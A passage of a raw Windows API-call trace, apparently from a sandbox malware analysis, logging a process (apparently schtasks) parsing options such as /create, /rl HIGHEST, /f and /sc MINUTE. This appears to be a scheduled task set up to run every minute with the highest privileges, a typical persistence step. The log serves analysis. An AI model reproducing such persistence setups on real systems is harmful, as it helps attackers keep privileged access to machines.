[0139.284] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.284] lstrlenW (lpString="rl") returned 2 [0139.285] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.285] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|xml|") returned 5 [0139.285] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.285] lstrlenW (lpString="|xml|") returned 5 [0139.285] lstrlenW (lpString="|rl|") returned 4 [0139.285] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0139.285] SetLastError (dwErrCode=0x490) [0139.285] lstrlenW (lpString="ec") returned 2 [0139.285] lstrlenW (lpString="ec") returned 2 [0139.285] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.285] lstrlenW (lpString="rl") returned 2 [0139.285] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.285] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ec|") returned 4 [0139.285] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.285] lstrlenW (lpString="|ec|") returned 4 [0139.285] lstrlenW (lpString="|rl|") returned 4 [0139.285] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0139.285] SetLastError (dwErrCode=0x490) [0139.285] lstrlenW (lpString="rl") returned 2 [0139.285] lstrlenW (lpString="rl") returned 2 [0139.285] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.285] lstrlenW (lpString="rl") returned 2 [0139.285] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.285] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.285] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.285] lstrlenW (lpString="|rl|") returned 4 [0139.285] lstrlenW (lpString="|rl|") returned 4 [0139.285] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0139.285] SetLastError (dwErrCode=0x0) [0139.285] SetLastError (dwErrCode=0x0) [0139.285] lstrlenW (lpString="HIGHEST") returned 7 [0139.285] lstrlenW (lpString="-/") returned 2 [0139.286] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0139.286] SetLastError (dwErrCode=0x490) [0139.286] SetLastError (dwErrCode=0x490) [0139.286] SetLastError (dwErrCode=0x0) [0139.286] lstrlenW (lpString="HIGHEST") returned 7 [0139.286] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0139.286] SetLastError (dwErrCode=0x490) [0139.286] SetLastError (dwErrCode=0x0) [0139.286] _memicmp (_Buf1=0x1fd570, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.286] lstrlenW (lpString="HIGHEST") returned 7 [0139.286] lstrlenW (lpString="HIGHEST") returned 7 [0139.286] lstrlenW (lpString=" \x09") returned 2 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0139.286] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0139.286] GetLastError () returned 0x0 [0139.286] lstrlenW (lpString="HIGHEST") returned 7 [0139.286] lstrlenW (lpString="HIGHEST") returned 7 [0139.286] SetLastError (dwErrCode=0x0) [0139.286] SetLastError (dwErrCode=0x0) [0139.286] lstrlenW (lpString="/f") returned 2 [0139.286] lstrlenW (lpString="-/") returned 2 [0139.286] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.286] lstrlenW (lpString="create") returned 6 [0139.286] lstrlenW (lpString="create") returned 6 [0139.286] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.287] lstrlenW (lpString="f") returned 1 [0139.287] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.287] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.287] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.287] lstrlenW (lpString="|create|") returned 8 [0139.287] lstrlenW (lpString="|f|") returned 3 [0139.287] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0139.287] SetLastError (dwErrCode=0x490) [0139.287] lstrlenW (lpString="?") returned 1 [0139.287] lstrlenW (lpString="?") returned 1 [0139.287] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.287] lstrlenW (lpString="f") returned 1 [0139.287] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.287] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|?|") returned 3 [0139.287] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.287] lstrlenW (lpString="|?|") returned 3 [0139.287] lstrlenW (lpString="|f|") returned 3 [0139.287] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0139.287] SetLastError (dwErrCode=0x490) [0139.287] lstrlenW (lpString="s") returned 1 [0139.287] lstrlenW (lpString="s") returned 1 [0139.287] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.287] lstrlenW (lpString="f") returned 1 [0139.287] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.287] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|s|") returned 3 [0139.287] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.287] lstrlenW (lpString="|s|") returned 3 [0139.287] lstrlenW (lpString="|f|") returned 3 [0139.287] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0139.287] SetLastError (dwErrCode=0x490) [0139.287] lstrlenW (lpString="u") returned 1 [0139.288] lstrlenW (lpString="u") returned 1 [0139.288] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.288] lstrlenW (lpString="f") returned 1 [0139.288] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.288] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|u|") returned 3 [0139.288] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.288] lstrlenW (lpString="|u|") returned 3 [0139.288] lstrlenW (lpString="|f|") returned 3 [0139.288] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0139.288] SetLastError (dwErrCode=0x490) [0139.288] lstrlenW (lpString="p") returned 1 [0139.288] lstrlenW (lpString="p") returned 1 [0139.288] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.288] lstrlenW (lpString="f") returned 1 [0139.288] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.288] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|p|") returned 3 [0139.288] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.288] lstrlenW (lpString="|p|") returned 3 [0139.288] lstrlenW (lpString="|f|") returned 3 [0139.288] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0139.288] SetLastError (dwErrCode=0x490) [0139.288] lstrlenW (lpString="ru") returned 2 [0139.288] lstrlenW (lpString="ru") returned 2 [0139.288] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.288] lstrlenW (lpString="f") returned 1 [0139.288] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.288] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ru|") returned 4 [0139.288] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.288] lstrlenW (lpString="|ru|") returned 4 [0139.288] lstrlenW (lpString="|f|") returned 3 [0139.288] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0139.288] SetLastError (dwErrCode=0x490) [0139.289] lstrlenW (lpString="rp") returned 2 [0139.289] lstrlenW (lpString="rp") returned 2 [0139.289] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.289] lstrlenW (lpString="f") returned 1 [0139.289] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.289] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rp|") returned 4 [0139.289] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.289] lstrlenW (lpString="|rp|") returned 4 [0139.289] lstrlenW (lpString="|f|") returned 3 [0139.289] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0139.289] SetLastError (dwErrCode=0x490) [0139.289] lstrlenW (lpString="sc") returned 2 [0139.289] lstrlenW (lpString="sc") returned 2 [0139.289] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.289] lstrlenW (lpString="f") returned 1 [0139.289] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.289] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.289] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.289] lstrlenW (lpString="|sc|") returned 4 [0139.289] lstrlenW (lpString="|f|") returned 3 [0139.289] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0139.289] SetLastError (dwErrCode=0x490) [0139.289] lstrlenW (lpString="mo") returned 2 [0139.289] lstrlenW (lpString="mo") returned 2 [0139.289] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.289] lstrlenW (lpString="f") returned 1 [0139.289] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.289] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.289] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.289] lstrlenW (lpString="|mo|") returned 4 [0139.289] lstrlenW (lpString="|f|") returned 3 [0139.289] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0139.289] SetLastError (dwErrCode=0x490) [0139.289] lstrlenW (lpString="d") returned 1 [0139.289] lstrlenW (lpString="d") returned 1 [0139.290] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.290] lstrlenW (lpString="f") returned 1 [0139.290] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.290] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|d|") returned 3 [0139.290] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.290] lstrlenW (lpString="|d|") returned 3 [0139.290] lstrlenW (lpString="|f|") returned 3 [0139.290] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0139.290] SetLastError (dwErrCode=0x490) [0139.290] lstrlenW (lpString="m") returned 1 [0139.290] lstrlenW (lpString="m") returned 1 [0139.290] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.290] lstrlenW (lpString="f") returned 1 [0139.290] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.290] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|m|") returned 3 [0139.290] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.290] lstrlenW (lpString="|m|") returned 3 [0139.290] lstrlenW (lpString="|f|") returned 3 [0139.290] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0139.290] SetLastError (dwErrCode=0x490) [0139.290] lstrlenW (lpString="i") returned 1 [0139.290] lstrlenW (lpString="i") returned 1 [0139.290] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.290] lstrlenW (lpString="f") returned 1 [0139.290] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.290] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|i|") returned 3 [0139.290] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.290] lstrlenW (lpString="|i|") returned 3 [0139.290] lstrlenW (lpString="|f|") returned 3 [0139.290] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0139.290] SetLastError (dwErrCode=0x490) [0139.290] lstrlenW (lpString="tn") returned 2 [0139.290] lstrlenW (lpString="tn") returned 2 [0139.290] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.291] lstrlenW (lpString="f") returned 1 [0139.291] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.291] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.291] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.291] lstrlenW (lpString="|tn|") returned 4 [0139.291] lstrlenW (lpString="|f|") returned 3 [0139.291] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0139.291] SetLastError (dwErrCode=0x490) [0139.291] lstrlenW (lpString="tr") returned 2 [0139.291] lstrlenW (lpString="tr") returned 2 [0139.291] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.291] lstrlenW (lpString="f") returned 1 [0139.291] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.291] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.291] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.291] lstrlenW (lpString="|tr|") returned 4 [0139.291] lstrlenW (lpString="|f|") returned 3 [0139.291] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0139.291] SetLastError (dwErrCode=0x490) [0139.291] lstrlenW (lpString="st") returned 2 [0139.291] lstrlenW (lpString="st") returned 2 [0139.291] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.291] lstrlenW (lpString="f") returned 1 [0139.291] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.291] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|st|") returned 4 [0139.291] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.291] lstrlenW (lpString="|st|") returned 4 [0139.291] lstrlenW (lpString="|f|") returned 3 [0139.291] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0139.291] SetLastError (dwErrCode=0x490) [0139.291] lstrlenW (lpString="sd") returned 2 [0139.291] lstrlenW (lpString="sd") returned 2 [0139.291] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.291] lstrlenW (lpString="f") returned 1 [0139.291] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.292] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sd|") returned 4 [0139.292] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.292] lstrlenW (lpString="|sd|") returned 4 [0139.292] lstrlenW (lpString="|f|") returned 3 [0139.292] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0139.292] SetLastError (dwErrCode=0x490) [0139.292] lstrlenW (lpString="ed") returned 2 [0139.292] lstrlenW (lpString="ed") returned 2 [0139.292] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.292] lstrlenW (lpString="f") returned 1 [0139.292] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.292] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ed|") returned 4 [0139.292] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.292] lstrlenW (lpString="|ed|") returned 4 [0139.292] lstrlenW (lpString="|f|") returned 3 [0139.292] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0139.292] SetLastError (dwErrCode=0x490) [0139.292] lstrlenW (lpString="it") returned 2 [0139.292] lstrlenW (lpString="it") returned 2 [0139.292] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.292] lstrlenW (lpString="f") returned 1 [0139.292] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.292] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|it|") returned 4 [0139.292] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.292] lstrlenW (lpString="|it|") returned 4 [0139.292] lstrlenW (lpString="|f|") returned 3 [0139.292] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0139.292] SetLastError (dwErrCode=0x490) [0139.292] lstrlenW (lpString="et") returned 2 [0139.292] lstrlenW (lpString="et") returned 2 [0139.292] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.292] lstrlenW (lpString="f") returned 1 [0139.292] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.292] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|et|") returned 4 [0139.292] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.293] lstrlenW (lpString="|et|") returned 4 [0139.293] lstrlenW (lpString="|f|") returned 3 [0139.293] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0139.293] SetLastError (dwErrCode=0x490) [0139.293] lstrlenW (lpString="k") returned 1 [0139.293] lstrlenW (lpString="k") returned 1 [0139.293] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.293] lstrlenW (lpString="f") returned 1 [0139.293] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.293] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|k|") returned 3 [0139.293] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.293] lstrlenW (lpString="|k|") returned 3 [0139.293] lstrlenW (lpString="|f|") returned 3 [0139.293] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0139.293] SetLastError (dwErrCode=0x490) [0139.293] lstrlenW (lpString="du") returned 2 [0139.293] lstrlenW (lpString="du") returned 2 [0139.293] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.293] lstrlenW (lpString="f") returned 1 [0139.293] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.293] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|du|") returned 4 [0139.293] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.293] lstrlenW (lpString="|du|") returned 4 [0139.293] lstrlenW (lpString="|f|") returned 3 [0139.293] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0139.293] SetLastError (dwErrCode=0x490) [0139.293] lstrlenW (lpString="ri") returned 2 [0139.293] lstrlenW (lpString="ri") returned 2 [0139.293] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.293] lstrlenW (lpString="f") returned 1 [0139.293] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.293] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ri|") returned 4 [0139.293] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.293] lstrlenW (lpString="|ri|") returned 4 [0139.293] lstrlenW (lpString="|f|") returned 3 [0139.294] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0139.294] SetLastError (dwErrCode=0x490) [0139.294] lstrlenW (lpString="z") returned 1 [0139.294] lstrlenW (lpString="z") returned 1 [0139.294] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.294] lstrlenW (lpString="f") returned 1 [0139.294] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.294] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|z|") returned 3 [0139.294] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.294] lstrlenW (lpString="|z|") returned 3 [0139.294] lstrlenW (lpString="|f|") returned 3 [0139.294] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0139.294] SetLastError (dwErrCode=0x490) [0139.294] lstrlenW (lpString="f") returned 1 [0139.294] lstrlenW (lpString="f") returned 1 [0139.294] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.294] lstrlenW (lpString="f") returned 1 [0139.294] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.294] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.294] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.294] lstrlenW (lpString="|f|") returned 3 [0139.294] lstrlenW (lpString="|f|") returned 3 [0139.294] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0139.294] SetLastError (dwErrCode=0x0) [0139.294] SetLastError (dwErrCode=0x0) [0139.294] GetProcessHeap () returned 0x1e0000 [0139.294] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcda0 [0139.294] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.294] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0139.294] lstrlenW (lpString="LIMITED") returned 7 [0139.294] GetProcessHeap () returned 0x1e0000 [0139.294] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x10) returned 0x1fd590 [0139.294] GetThreadLocale () returned 0x409 [0139.295] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd70 [0139.295] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.295] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0139.295] lstrlenW (lpString="HIGHEST") returned 7 [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x10) returned 0x1fd5b0 [0139.295] GetThreadLocale () returned 0x409 [0139.295] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd40 [0139.295] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.295] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0139.295] lstrlenW (lpString="MINUTE") returned 6 [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd5d0 [0139.295] GetThreadLocale () returned 0x409 [0139.295] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0139.295] SetLastError (dwErrCode=0x0) [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x1fc) returned 0x1fc3a0 [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd10 [0139.295] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.295] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0139.295] lstrlenW (lpString="First") returned 5 [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xc) returned 